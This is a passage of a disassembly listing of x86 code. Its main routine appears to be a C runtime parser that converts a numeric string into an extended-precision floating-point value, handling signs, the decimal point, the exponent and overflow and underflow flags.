loc_4313F8: ; CODE XREF: sub_4312E0+10Dj
mov cl, byte ptr [ebp+var_3C]
mov [ebp+var_84], cl
cmp [ebp+var_84], 2Bh
jz short loc_431427
cmp [ebp+var_84], 2Dh
jz short loc_431436
cmp [ebp+var_84], 30h
jz short loc_43141E
jmp short loc_431445
; ---------------------------------------------------------------------------
loc_43141E: ; CODE XREF: sub_4312E0+13Aj
mov [ebp+var_4C], 1
jmp short loc_431455
; ---------------------------------------------------------------------------
loc_431427: ; CODE XREF: sub_4312E0+128j
mov [ebp+var_4C], 2
mov word ptr [ebp+var_1C], 0
jmp short loc_431455
; ---------------------------------------------------------------------------
loc_431436: ; CODE XREF: sub_4312E0+131j
mov [ebp+var_4C], 2
mov word ptr [ebp+var_1C], 8000h
jmp short loc_431455
; ---------------------------------------------------------------------------
loc_431445: ; CODE XREF: sub_4312E0+13Cj
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_431455: ; CODE XREF: sub_4312E0+FEj
; sub_4312E0+116j ...
jmp loc_431AE3
; ---------------------------------------------------------------------------
loc_43145A: ; CODE XREF: sub_4312E0+D5j
; DATA XREF: .nsp0:00431CFEo
mov [ebp+var_54], 1
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 31h
jl short loc_431488
movsx ecx, byte ptr [ebp+var_3C]
cmp ecx, 39h
jg short loc_431488
mov [ebp+var_4C], 3
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp loc_43150B
; ---------------------------------------------------------------------------
loc_431488: ; CODE XREF: sub_4312E0+188j
; sub_4312E0+191j
movsx eax, byte ptr [ebp+var_3C]
movsx ecx, byte_4516AC
cmp eax, ecx
jnz short loc_4314A0
mov [ebp+var_4C], 4
jmp short loc_43150B
; ---------------------------------------------------------------------------
loc_4314A0: ; CODE XREF: sub_4312E0+1B5j
movsx edx, byte ptr [ebp+var_3C]
mov [ebp+var_88], edx
mov eax, [ebp+var_88]
sub eax, 2Bh
mov [ebp+var_88], eax
cmp [ebp+var_88], 3Ah
ja short loc_4314FB
mov edx, [ebp+var_88]
xor ecx, ecx
mov cl, byte_431D3A[edx]
jmp off_431D2A[ecx*4]
loc_4314D7: ; CODE XREF: sub_4312E0+D5j
; DATA XREF: .nsp0:00431D2Eo
mov [ebp+var_4C], 1
jmp short loc_43150B
; ---------------------------------------------------------------------------
loc_4314E0: ; CODE XREF: sub_4312E0+D5j
; sub_4312E0+1F0j
; DATA XREF: ...
mov [ebp+var_4C], 6
jmp short loc_43150B
; ---------------------------------------------------------------------------
loc_4314E9: ; CODE XREF: sub_4312E0+D5j
; sub_4312E0+1F0j
; DATA XREF: ...
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
mov [ebp+var_4C], 0Bh
jmp short loc_43150B
; ---------------------------------------------------------------------------
loc_4314FB: ; CODE XREF: sub_4312E0+D5j
; sub_4312E0+1E0j ...
mov [ebp+var_4C], 0Ah
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_43150B: ; CODE XREF: sub_4312E0+1A3j
; sub_4312E0+1BEj ...
jmp loc_431AE3
; ---------------------------------------------------------------------------
loc_431510: ; CODE XREF: sub_4312E0+D5j
; DATA XREF: .nsp0:00431D02o
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_431534
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_431534
mov [ebp+var_4C], 3
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_431576
; ---------------------------------------------------------------------------
loc_431534: ; CODE XREF: sub_4312E0+237j
; sub_4312E0+240j
movsx edx, byte ptr [ebp+var_3C]
movsx eax, byte_4516AC
cmp edx, eax
jnz short loc_43154C
mov [ebp+var_4C], 5
jmp short loc_431576
; ---------------------------------------------------------------------------
loc_43154C: ; CODE XREF: sub_4312E0+261j
mov cl, byte ptr [ebp+var_3C]
mov [ebp+var_8C], cl
cmp [ebp+var_8C], 30h
jz short loc_431560
jmp short loc_431569
; ---------------------------------------------------------------------------
loc_431560: ; CODE XREF: sub_4312E0+27Cj
mov [ebp+var_4C], 1
jmp short loc_431576
; ---------------------------------------------------------------------------
loc_431569: ; CODE XREF: sub_4312E0+27Ej
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_64]
mov [ebp+var_4], edx
loc_431576: ; CODE XREF: sub_4312E0+252j
; sub_4312E0+26Aj ...
jmp loc_431AE3
; ---------------------------------------------------------------------------
loc_43157B: ; CODE XREF: sub_4312E0+D5j
; DATA XREF: .nsp0:00431D06o
mov [ebp+var_54], 1
jmp short loc_431595
; ---------------------------------------------------------------------------
loc_431584: ; CODE XREF: sub_4312E0:loc_43160Fj
mov eax, [ebp+var_4]
mov cl, [eax]
mov byte ptr [ebp+var_3C], cl
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_431595: ; CODE XREF: sub_4312E0+2A2j
cmp dword_4516A8, 1
jle short loc_4315B9
push 4
mov eax, [ebp+var_3C]
and eax, 0FFh
push eax
call sub_421E50
add esp, 8
mov [ebp+var_90], eax
jmp short loc_4315D7
; ---------------------------------------------------------------------------
loc_4315B9: ; CODE XREF: sub_4312E0+2BCj
mov ecx, [ebp+var_3C]
and ecx, 0FFh
mov edx, off_45149C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp+var_90], eax
loc_4315D7: ; CODE XREF: sub_4312E0+2D7j
cmp [ebp+var_90], 0
jz short loc_431614
cmp [ebp+var_70], 19h
jnb short loc_431606
mov ecx, [ebp+var_70]
add ecx, 1
mov [ebp+var_70], ecx
movsx edx, byte ptr [ebp+var_3C]
sub edx, 30h
mov eax, [ebp+var_68]
mov [eax], dl
mov ecx, [ebp+var_68]
add ecx, 1
mov [ebp+var_68], ecx
jmp short loc_43160F
; ---------------------------------------------------------------------------
loc_431606: ; CODE XREF: sub_4312E0+304j
mov edx, [ebp+var_6C]
add edx, 1
mov [ebp+var_6C], edx
loc_43160F: ; CODE XREF: sub_4312E0+324j
jmp loc_431584
; ---------------------------------------------------------------------------
loc_431614: ; CODE XREF: sub_4312E0+2FEj
movsx eax, byte ptr [ebp+var_3C]
movsx ecx, byte_4516AC
cmp eax, ecx
jnz short loc_43162C
mov [ebp+var_4C], 4
jmp short loc_43168E
; ---------------------------------------------------------------------------
loc_43162C: ; CODE XREF: sub_4312E0+341j
movsx edx, byte ptr [ebp+var_3C]
mov [ebp+var_94], edx
mov eax, [ebp+var_94]
sub eax, 2Bh
mov [ebp+var_94], eax
cmp [ebp+var_94], 3Ah
ja short loc_43167E
mov edx, [ebp+var_94]
xor ecx, ecx
mov cl, byte_431D81[edx]
jmp off_431D75[ecx*4]
loc_431663: ; DATA XREF: .nsp0:00431D79o
mov [ebp+var_4C], 6
jmp short loc_43168E
; ---------------------------------------------------------------------------
loc_43166C: ; CODE XREF: sub_4312E0+37Cj
; DATA XREF: .nsp0:off_431D75o
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
mov [ebp+var_4C], 0Bh
jmp short loc_43168E
; ---------------------------------------------------------------------------
loc_43167E: ; CODE XREF: sub_4312E0+36Cj
; sub_4312E0+37Cj
; DATA XREF: ...
mov [ebp+var_4C], 0Ah
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_43168E: ; CODE XREF: sub_4312E0+34Aj
; sub_4312E0+38Aj ...
jmp loc_431AE3
; ---------------------------------------------------------------------------
loc_431693: ; CODE XREF: sub_4312E0+D5j
; DATA XREF: .nsp0:00431D0Ao
mov [ebp+var_54], 1
mov [ebp+var_C], 1
cmp [ebp+var_70], 0
jnz short loc_4316CE
jmp short loc_4316BA
; ---------------------------------------------------------------------------
loc_4316A9: ; CODE XREF: sub_4312E0+3ECj
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_3C], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_4316BA: ; CODE XREF: sub_4312E0+3C7j
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 30h
jnz short loc_4316CE
mov eax, [ebp+var_6C]
sub eax, 1
mov [ebp+var_6C], eax
jmp short loc_4316A9
; ---------------------------------------------------------------------------
loc_4316CE: ; CODE XREF: sub_4312E0+3C5j
; sub_4312E0+3E1j
jmp short loc_4316E1
; ---------------------------------------------------------------------------
loc_4316D0: ; CODE XREF: sub_4312E0:loc_431759j
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_3C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_4316E1: ; CODE XREF: sub_4312E0:loc_4316CEj
cmp dword_4516A8, 1
jle short loc_431706
push 4
mov ecx, [ebp+var_3C]
and ecx, 0FFh
push ecx
call sub_421E50
add esp, 8
mov [ebp+var_98], eax
jmp short loc_431723
; ---------------------------------------------------------------------------
loc_431706: ; CODE XREF: sub_4312E0+408j
mov edx, [ebp+var_3C]
and edx, 0FFh
mov eax, off_45149C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_98], ecx
loc_431723: ; CODE XREF: sub_4312E0+424j
cmp [ebp+var_98], 0
jz short loc_43175E
cmp [ebp+var_70], 19h
jnb short loc_431759
mov edx, [ebp+var_70]
add edx, 1
mov [ebp+var_70], edx
movsx eax, byte ptr [ebp+var_3C]
sub eax, 30h
mov ecx, [ebp+var_68]
mov [ecx], al
mov edx, [ebp+var_68]
add edx, 1
mov [ebp+var_68], edx
mov eax, [ebp+var_6C]
sub eax, 1
mov [ebp+var_6C], eax
loc_431759: ; CODE XREF: sub_4312E0+450j
jmp loc_4316D0
; ---------------------------------------------------------------------------
loc_43175E: ; CODE XREF: sub_4312E0+44Aj
movsx ecx, byte ptr [ebp+var_3C]
mov [ebp+var_9C], ecx
mov edx, [ebp+var_9C]
sub edx, 2Bh
mov [ebp+var_9C], edx
cmp [ebp+var_9C], 3Ah
ja short loc_4317B0
mov ecx, [ebp+var_9C]
xor eax, eax
mov al, byte_431DC8[ecx]
jmp off_431DBC[eax*4]
loc_431795: ; DATA XREF: .nsp0:00431DC0o
mov [ebp+var_4C], 6
jmp short loc_4317C0
; ---------------------------------------------------------------------------
loc_43179E: ; CODE XREF: sub_4312E0+4AEj
; DATA XREF: .nsp0:off_431DBCo
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov [ebp+var_4C], 0Bh
jmp short loc_4317C0
; ---------------------------------------------------------------------------
loc_4317B0: ; CODE XREF: sub_4312E0+49Ej
; sub_4312E0+4AEj
; DATA XREF: ...
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_4317C0: ; CODE XREF: sub_4312E0+4BCj
; sub_4312E0+4CEj
jmp loc_431AE3
; ---------------------------------------------------------------------------
loc_4317C5: ; CODE XREF: sub_4312E0+D5j
; DATA XREF: .nsp0:00431D0Eo
mov [ebp+var_C], 1
cmp dword_4516A8, 1
jle short loc_4317F1
push 4
mov ecx, [ebp+var_3C]
and ecx, 0FFh
push ecx
call sub_421E50
add esp, 8
mov [ebp+var_A0], eax
jmp short loc_43180E
; ---------------------------------------------------------------------------
loc_4317F1: ; CODE XREF: sub_4312E0+4F3j
mov edx, [ebp+var_3C]
and edx, 0FFh
mov eax, off_45149C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_A0], ecx
loc_43180E: ; CODE XREF: sub_4312E0+50Fj
cmp [ebp+var_A0], 0
jz short loc_431829
mov [ebp+var_4C], 4
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_431836
; ---------------------------------------------------------------------------
loc_431829: ; CODE XREF: sub_4312E0+535j
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_64]
mov [ebp+var_4], eax
loc_431836: ; CODE XREF: sub_4312E0+547j
jmp loc_431AE3
; ---------------------------------------------------------------------------
loc_43183B: ; CODE XREF: sub_4312E0+D5j
; DATA XREF: .nsp0:00431D12o
mov ecx, [ebp+var_4]
sub ecx, 2
mov [ebp+var_64], ecx
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_431868
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_431868
mov [ebp+var_4C], 9
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_4318BD
; ---------------------------------------------------------------------------
loc_431868: ; CODE XREF: sub_4312E0+56Bj
; sub_4312E0+574j
mov dl, byte ptr [ebp+var_3C]
mov [ebp+var_A4], dl
cmp [ebp+var_A4], 2Bh
jz short loc_4318A7
cmp [ebp+var_A4], 2Dh
jz short loc_431897
cmp [ebp+var_A4], 30h
jz short loc_43188E
jmp short loc_4318B0
; ---------------------------------------------------------------------------
loc_43188E: ; CODE XREF: sub_4312E0+5AAj
mov [ebp+var_4C], 8
jmp short loc_4318BD
; ---------------------------------------------------------------------------
loc_431897: ; CODE XREF: sub_4312E0+5A1j
mov [ebp+var_4C], 7
mov [ebp+var_74], 0FFFFFFFFh
jmp short loc_4318BD
; ---------------------------------------------------------------------------
loc_4318A7: ; CODE XREF: sub_4312E0+598j
mov [ebp+var_4C], 7
jmp short loc_4318BD
; ---------------------------------------------------------------------------
loc_4318B0: ; CODE XREF: sub_4312E0+5ACj
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_64]
mov [ebp+var_4], eax
loc_4318BD: ; CODE XREF: sub_4312E0+586j
; sub_4312E0+5B5j ...
jmp loc_431AE3
; ---------------------------------------------------------------------------
loc_4318C2: ; CODE XREF: sub_4312E0+D5j
; DATA XREF: .nsp0:00431D1Ao
mov [ebp+var_18], 1
jmp short loc_4318DC
; ---------------------------------------------------------------------------
loc_4318CB: ; CODE XREF: sub_4312E0+605j
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_3C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_4318DC: ; CODE XREF: sub_4312E0+5E9j
movsx ecx, byte ptr [ebp+var_3C]
cmp ecx, 30h
jnz short loc_4318E7
jmp short loc_4318CB
; ---------------------------------------------------------------------------
loc_4318E7: ; CODE XREF: sub_4312E0+603j
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_43190B
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_43190B
mov [ebp+var_4C], 9
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_43191B
; ---------------------------------------------------------------------------
loc_43190B: ; CODE XREF: sub_4312E0+60Ej
; sub_4312E0+617j
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_43191B: ; CODE XREF: sub_4312E0+629j
jmp loc_431AE3
; ---------------------------------------------------------------------------
loc_431920: ; CODE XREF: sub_4312E0+D5j
; DATA XREF: .nsp0:00431D16o
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 31h
jl short loc_431944
movsx ecx, byte ptr [ebp+var_3C]
cmp ecx, 39h
jg short loc_431944
mov [ebp+var_4C], 9
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_43196E
; ---------------------------------------------------------------------------
loc_431944: ; CODE XREF: sub_4312E0+647j
; sub_4312E0+650j
mov al, byte ptr [ebp+var_3C]
mov [ebp+var_A8], al
cmp [ebp+var_A8], 30h
jz short loc_431958
jmp short loc_431961
; ---------------------------------------------------------------------------
loc_431958: ; CODE XREF: sub_4312E0+674j
mov [ebp+var_4C], 8
jmp short loc_43196E
; ---------------------------------------------------------------------------
loc_431961: ; CODE XREF: sub_4312E0+676j
mov [ebp+var_4C], 0Ah
mov ecx, [ebp+var_64]
mov [ebp+var_4], ecx
loc_43196E: ; CODE XREF: sub_4312E0+662j
; sub_4312E0+67Fj
jmp loc_431AE3
; ---------------------------------------------------------------------------
loc_431973: ; CODE XREF: sub_4312E0+D5j
; DATA XREF: .nsp0:00431D1Eo
mov [ebp+var_18], 1
mov [ebp+var_7C], 0
jmp short loc_431994
; ---------------------------------------------------------------------------
loc_431983: ; CODE XREF: sub_4312E0:loc_431A02j
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_3C], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_431994: ; CODE XREF: sub_4312E0+6A1j
cmp dword_4516A8, 1
jle short loc_4319B9
push 4
mov edx, [ebp+var_3C]
and edx, 0FFh
push edx
call sub_421E50
add esp, 8
mov [ebp+var_AC], eax
jmp short loc_4319D6
; ---------------------------------------------------------------------------
loc_4319B9: ; CODE XREF: sub_4312E0+6BBj
mov eax, [ebp+var_3C]
and eax, 0FFh
mov ecx, off_45149C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_AC], edx
loc_4319D6: ; CODE XREF: sub_4312E0+6D7j
cmp [ebp+var_AC], 0
jz short loc_431A07
mov eax, [ebp+var_7C]
imul eax, 0Ah
movsx ecx, byte ptr [ebp+var_3C]
lea edx, [eax+ecx-30h]
mov [ebp+var_7C], edx
cmp [ebp+var_7C], 1450h
jle short loc_431A02
mov [ebp+var_7C], 1451h
jmp short loc_431A07
; ---------------------------------------------------------------------------
loc_431A02: ; CODE XREF: sub_4312E0+717j
jmp loc_431983
; ---------------------------------------------------------------------------
loc_431A07: ; CODE XREF: sub_4312E0+6FDj
; sub_4312E0+720j
mov eax, [ebp+var_7C]
mov [ebp+var_14], eax
jmp short loc_431A20
; ---------------------------------------------------------------------------
loc_431A0F: ; CODE XREF: sub_4312E0+78Bj
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_3C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_431A20: ; CODE XREF: sub_4312E0+72Dj
cmp dword_4516A8, 1
jle short loc_431A45
push 4
mov ecx, [ebp+var_3C]
and ecx, 0FFh
push ecx
call sub_421E50
add esp, 8
mov [ebp+var_B0], eax
jmp short loc_431A62
; ---------------------------------------------------------------------------
loc_431A45: ; CODE XREF: sub_4312E0+747j
mov edx, [ebp+var_3C]
and edx, 0FFh
mov eax, off_45149C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_B0], ecx
loc_431A62: ; CODE XREF: sub_4312E0+763j
cmp [ebp+var_B0], 0
jz short loc_431A6D
jmp short loc_431A0F
; ---------------------------------------------------------------------------
loc_431A6D: ; CODE XREF: sub_4312E0+789j
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_431AE3
; ---------------------------------------------------------------------------
loc_431A7F: ; CODE XREF: sub_4312E0+D5j
; DATA XREF: .nsp0:00431D26o
cmp [ebp+arg_18], 0
jz short loc_431AD3
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_64], eax
mov cl, byte ptr [ebp+var_3C]
mov [ebp+var_B4], cl
cmp [ebp+var_B4], 2Bh
jz short loc_431ABB
cmp [ebp+var_B4], 2Dh
jz short loc_431AAB
jmp short loc_431AC4
; ---------------------------------------------------------------------------
loc_431AAB: ; CODE XREF: sub_4312E0+7C7j
mov [ebp+var_4C], 7
mov [ebp+var_74], 0FFFFFFFFh
jmp short loc_431AD1
; ---------------------------------------------------------------------------
loc_431ABB: ; CODE XREF: sub_4312E0+7BEj
mov [ebp+var_4C], 7
jmp short loc_431AD1
; ---------------------------------------------------------------------------
loc_431AC4: ; CODE XREF: sub_4312E0+7C9j
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_64]
mov [ebp+var_4], edx
loc_431AD1: ; CODE XREF: sub_4312E0+7D9j
; sub_4312E0+7E2j
jmp short loc_431AE3
; ---------------------------------------------------------------------------
loc_431AD3: ; CODE XREF: sub_4312E0+7A3j
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_431AE3: ; CODE XREF: sub_4312E0+CCj
; sub_4312E0+D5j ...
jmp loc_431387
; ---------------------------------------------------------------------------
loc_431AE8: ; CODE XREF: sub_4312E0+ABj
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
cmp [ebp+var_54], 0
jz loc_431C37
cmp [ebp+var_40], 0
jnz loc_431C37
cmp [ebp+var_78], 0
jnz loc_431C37
cmp [ebp+var_70], 18h
jbe short loc_431B3F
movsx eax, [ebp+var_21]
cmp eax, 5
jl short loc_431B26
mov cl, [ebp+var_21]
add cl, 1
mov [ebp+var_21], cl
loc_431B26: ; CODE XREF: sub_4312E0+83Bj
mov [ebp+var_70], 18h
mov edx, [ebp+var_68]
sub edx, 1
mov [ebp+var_68], edx
mov eax, [ebp+var_6C]
add eax, 1
mov [ebp+var_6C], eax
loc_431B3F: ; CODE XREF: sub_4312E0+832j
cmp [ebp+var_70], 0
jbe loc_431C1A
mov ecx, [ebp+var_68]
sub ecx, 1
mov [ebp+var_68], ecx
jmp short loc_431B5D
; ---------------------------------------------------------------------------
loc_431B54: ; CODE XREF: sub_4312E0+899j
mov edx, [ebp+var_68]
sub edx, 1
mov [ebp+var_68], edx
loc_431B5D: ; CODE XREF: sub_4312E0+872j
mov eax, [ebp+var_68]
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_431B7B
mov edx, [ebp+var_70]
sub edx, 1
mov [ebp+var_70], edx
mov eax, [ebp+var_6C]
add eax, 1
mov [ebp+var_6C], eax
jmp short loc_431B54
; ---------------------------------------------------------------------------
loc_431B7B: ; CODE XREF: sub_4312E0+885j
lea ecx, [ebp+var_60]
push ecx
mov edx, [ebp+var_70]
push edx
lea eax, [ebp+var_38]
push eax
call sub_4311A0
add esp, 0Ch
cmp [ebp+var_74], 0
jge short loc_431B9D
mov ecx, [ebp+var_14]
neg ecx
mov [ebp+var_14], ecx
loc_431B9D: ; CODE XREF: sub_4312E0+8B3j
mov edx, [ebp+var_14]
add edx, [ebp+var_6C]
mov [ebp+var_14], edx
cmp [ebp+var_18], 0
jnz short loc_431BB5
mov eax, [ebp+var_14]
add eax, [ebp+arg_10]
mov [ebp+var_14], eax
loc_431BB5: ; CODE XREF: sub_4312E0+8CAj
cmp [ebp+var_C], 0
jnz short loc_431BC4
mov ecx, [ebp+var_14]
sub ecx, [ebp+arg_14]
mov [ebp+var_14], ecx
loc_431BC4: ; CODE XREF: sub_4312E0+8D9j
cmp [ebp+var_14], 1450h
jle short loc_431BD6
mov [ebp+var_40], 1
jmp short loc_431C18
; ---------------------------------------------------------------------------
loc_431BD6: ; CODE XREF: sub_4312E0+8EBj
cmp [ebp+var_14], 0FFFFEBB0h
jge short loc_431BE8
mov [ebp+var_78], 1
jmp short loc_431C18
; ---------------------------------------------------------------------------
loc_431BE8: ; CODE XREF: sub_4312E0+8FDj
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+var_14]
push eax
lea ecx, [ebp+var_60]
push ecx
call sub_4344A0
add esp, 0Ch
mov dx, [ebp+var_60]
mov [ebp+var_48], dx
mov eax, [ebp+var_5E]
mov [ebp+var_8], eax
mov ecx, [ebp+var_5A]
mov [ebp+var_10], ecx
mov dx, [ebp+var_56]
mov word ptr [ebp+var_50], dx
loc_431C18: ; CODE XREF: sub_4312E0+8F4j
; sub_4312E0+906j
jmp short loc_431C37
; ---------------------------------------------------------------------------
loc_431C1A: ; CODE XREF: sub_4312E0+863j
mov [ebp+var_48], 0
mov word ptr [ebp+var_50], 0
mov eax, [ebp+var_50]
and eax, 0FFFFh
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
mov [ebp+var_8], ecx
loc_431C37: ; CODE XREF: sub_4312E0+814j
; sub_4312E0+81Ej ...
cmp [ebp+var_54], 0
jnz short loc_431C66
mov [ebp+var_48], 0
mov word ptr [ebp+var_50], 0
mov edx, [ebp+var_50]
and edx, 0FFFFh
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
mov ecx, [ebp+var_44]
or ecx, 4
mov [ebp+var_44], ecx
jmp short loc_431CBD
; ---------------------------------------------------------------------------
loc_431C66: ; CODE XREF: sub_4312E0+95Bj
cmp [ebp+var_40], 0
jz short loc_431C91
mov word ptr [ebp+var_50], 7FFFh
mov [ebp+var_10], 80000000h
mov [ebp+var_8], 0
mov [ebp+var_48], 0
mov edx, [ebp+var_44]
or edx, 2
mov [ebp+var_44], edx
jmp short loc_431CBD
; ---------------------------------------------------------------------------
loc_431C91: ; CODE XREF: sub_4312E0+98Aj
cmp [ebp+var_78], 0
jz short loc_431CBD
mov [ebp+var_48], 0
mov word ptr [ebp+var_50], 0
mov eax, [ebp+var_50]
and eax, 0FFFFh
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
mov [ebp+var_8], ecx
mov edx, [ebp+var_44]
or edx, 1
mov [ebp+var_44], edx
loc_431CBD: ; CODE XREF: sub_4312E0+984j
; sub_4312E0+9AFj ...
mov eax, [ebp+arg_0]
mov cx, [ebp+var_48]
mov [eax], cx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+2], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_10]
mov [ecx+6], edx
mov eax, [ebp+var_50]
and eax, 0FFFFh
mov ecx, [ebp+var_1C]
and ecx, 0FFFFh
or eax, ecx
mov edx, [ebp+arg_0]
mov [edx+0Ah], ax
mov eax, [ebp+var_44]
mov esp, ebp
pop ebp
retn
sub_4312E0 endp
; ---------------------------------------------------------------------------
off_431CFA dd offset loc_4313BC ; DATA XREF: sub_4312E0+D5r
dd offset loc_43145A
dd offset loc_431510
dd offset loc_43157B
dd offset loc_431693
dd offset loc_4317C5
dd offset loc_43183B
dd offset loc_431920
dd offset loc_4318C2
dd offset loc_431973
dd offset loc_431AE3
dd offset loc_431A7F
off_431D2A dd offset loc_4314E9 ; DATA XREF: sub_4312E0+1F0r
dd offset loc_4314D7
dd offset loc_4314E0
dd offset loc_4314FB
byte_431D3A db 0 ; DATA XREF: sub_4312E0+1EAr
db 3
dd 1030300h, 4 dup(3030303h), 2030303h, 3030302h, 6 dup(3030303h)
dd 2030303h
db 2
off_431D75 dd offset loc_43166C ; DATA XREF: sub_4312E0+37Cr
dd offset loc_431663
dd offset loc_43167E
byte_431D81 db 0 ; DATA XREF: sub_4312E0+376r
dw 2
dd 5 dup(2020202h), 1010202h, 7 dup(2020202h), 1010202h
off_431DBC dd offset loc_43179E ; DATA XREF: sub_4312E0+4AEr
dd offset loc_431795
dd offset loc_4317B0
byte_431DC8 db 0, 2, 0, 16h dup(2), 2 dup(1), 1Eh dup(2), 2 dup(1)
; DATA XREF: sub_4312E0+4A8r
db 0Dh dup(0CCh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 14h
push 0
push 0
push 0
mov eax, [ebp+14h]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
lea eax, [ebp-0Ch]
push eax
call sub_4312E0
add esp, 1Ch
mov [ebp-14h], eax
mov ecx, [ebp+8]
push ecx
lea edx, [ebp-0Ch]
push edx
call sub_42D950
add esp, 8
mov [ebp-10h], eax
cmp dword ptr [ebp-10h], 1
jnz short loc_431E58
mov eax, [ebp-14h]
or al, 2
mov [ebp-14h], eax
loc_431E58: ; CODE XREF: .nsp0:00431E4Ej
mov eax, [ebp-14h]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431E60 proc near ; CODE XREF: sub_42DBD0+36p
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = word ptr -5Ch
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_53 = byte ptr -53h
var_52 = byte ptr -52h
var_51 = byte ptr -51h
var_50 = byte ptr -50h
var_4F = byte ptr -4Fh
var_4E = byte ptr -4Eh
var_4D = byte ptr -4Dh
var_4C = byte ptr -4Ch
var_4B = byte ptr -4Bh
var_4A = byte ptr -4Ah
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_32 = dword ptr -32h
var_2E = dword ptr -2Eh
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = word ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = word ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 74h
mov word ptr [ebp+var_64], 4D10h
mov word ptr [ebp+var_3C], 4Dh
mov word ptr [ebp+var_60], 9Ah
mov [ebp+var_20], 134312F4h
mov [ebp+var_54], 0CCh
mov [ebp+var_53], 0CCh
mov [ebp+var_52], 0CCh
mov [ebp+var_51], 0CCh
mov [ebp+var_50], 0CCh
mov [ebp+var_4F], 0CCh
mov [ebp+var_4E], 0CCh
mov [ebp+var_4D], 0CCh
mov [ebp+var_4C], 0CCh
mov [ebp+var_4B], 0CCh
mov [ebp+var_4A], 0FBh
mov [ebp+var_49], 3Fh
mov [ebp+var_58], 1
mov ax, [ebp+arg_8]
mov word ptr [ebp+var_70], ax
